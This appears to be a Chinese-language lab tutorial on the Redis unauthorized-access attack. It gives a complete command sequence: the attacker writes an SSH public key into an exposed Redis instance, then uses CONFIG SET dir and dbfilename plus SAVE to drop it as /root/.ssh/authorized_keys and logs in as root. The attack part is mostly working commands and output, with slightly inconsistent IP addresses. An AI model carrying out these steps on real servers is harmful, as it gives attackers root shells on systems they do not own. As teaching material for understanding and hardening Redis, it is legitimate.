8 redis未授权访问漏洞
利用redis漏洞,getshell,我们需要利用RDB还是AOF?
肯定是RDB,因为RDB是二进制文件的格式!!!!
前置条件:
- redis提供了在线修改配置文件的功能 config set,实现任意文件写入功能。
- redis一般新手都会忘记设置密码,也不会修改默认端口。
- 就算有密码,难度很低,很容易被暴破!因为没有账号,也没有密码错误次数限制。同时错误后有错误消息返回。所以就满足暴破条件。
- redis支持save触发RDB持久化!把二进制文件写入任意目录。
利用redis
的持久化rdb
文件进行公钥
的写入
,将你自己的公钥写入别人的redis中,在对其redis进行保存为持久化文件,持久化文件的路径需要是/root/.ssh/
,且文件的持久化命名需要是authorized_keys
8.1 环境准备
- redis开启外网访问
- redis的端口已知或者已经爆破出来,6000-7000,6379
- redis的密码已知或者已经爆破
- redis开启在线修改功能
- redis开启save保存功能
- Linux有.ssh这个文件夹 本地安装的怕是没有 远程服务器必有
8.2 攻击机生成公钥
命令:
[root@iptables ~]# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:8aKP+mROOBAIlDtXP+Eiq6vFztKpP4z92D9sOIQgHBo root@localhost.localdomain
The key's randomart image is:
+---[RSA 2048]----+
|o.. |
|E+ . . |
|+.+ . o o |
|++ + . + o |
|..+.o . S . |
| ..o.. . . |
| =+ooo= |
|o=*oo*+o |
|+=*o+*=.. |
+----[SHA256]-----+
8.3 拼写公钥写入文件
1. 进入 /root/.ssh
cd /root/.ssh
2. 在公钥前后使用\n换行,然后把内容重定向到一个文件中,等会就可以使用文件操作,括号不能省略,否者就变成屏幕输出了
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > ./keys
查看keys文件:
8.4 攻击机
攻击机通过redis-cli把自己的公钥,写入到了靶机的redis数据库中的字符串keys
靶机的redis-server中有一个字符串keys里面就有了攻击机的公钥
靶机
[root@target .ssh]# /opt/redis/bin/redis-cli -h 192.168.190.133 -x set keys < ./keys
OK
[root@target .ssh]# /opt/redis/bin/redis-cli -h 192.168.190.133
192.168.190.133:6379> get keys
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD7QcripQWmO3Gbz9b6Cf7IOsEHC6oxEXwvRRuOBb3gjXuXlOg+uyY6bjL2PkbAaWrn+fwzN4FcHaPG2kiJ5uQYy3mNVIEAZYEKP3b6iflc0p03GcMNI2YENtXiz2aChsM7ky/XUVc4ashpvI/soDnHCC8gi0sNQIy/Tq3jmZwBgAqbFgBe+7N+MMAioAJDANxH7GBWG7gl4WqaMcETz/AtjFELcWK8OtbYQ6oFnkc3UGshKmBd6qJUgIE6ZhYH9kuQ12Em0+uRI3IeVtFDNr30S2lvnDYN5zR4A/O0yKwU/U4HlMud1rw6UoAUm+BjuCIfiSjsWx1ovW7Ztnfs32T9 root@target\n\n\n\n"
192.168.190.133:6379>
8.5 修改redis配置
# 1)先使用攻击机登录靶机的redis-server
[root@target .ssh]# /opt/redis/bin/redis-cli -h 192.168.190.133
# 2) 修改靶机的配置
192.168.7.52:6379> config set dir /root/.ssh # dir是rdb文件持久化保存目录
192.168.7.52:6379> config set dbfilename authorized_keys #rbd文件名
192.168.7.52:6379> save #手动触发持久化,生成公钥文件
8.6 ssh使用私钥进行远程连接
#使用-i执行私钥文件路径,就可以实现远程getshell登录
[root@iptables .ssh]# ssh -i /root/.ssh/id_rsa root@192.168.190.133
Last login: Mon Nov 13 18:59:59 2023 from 192.168.7.25
[root@Centos-4 ~]#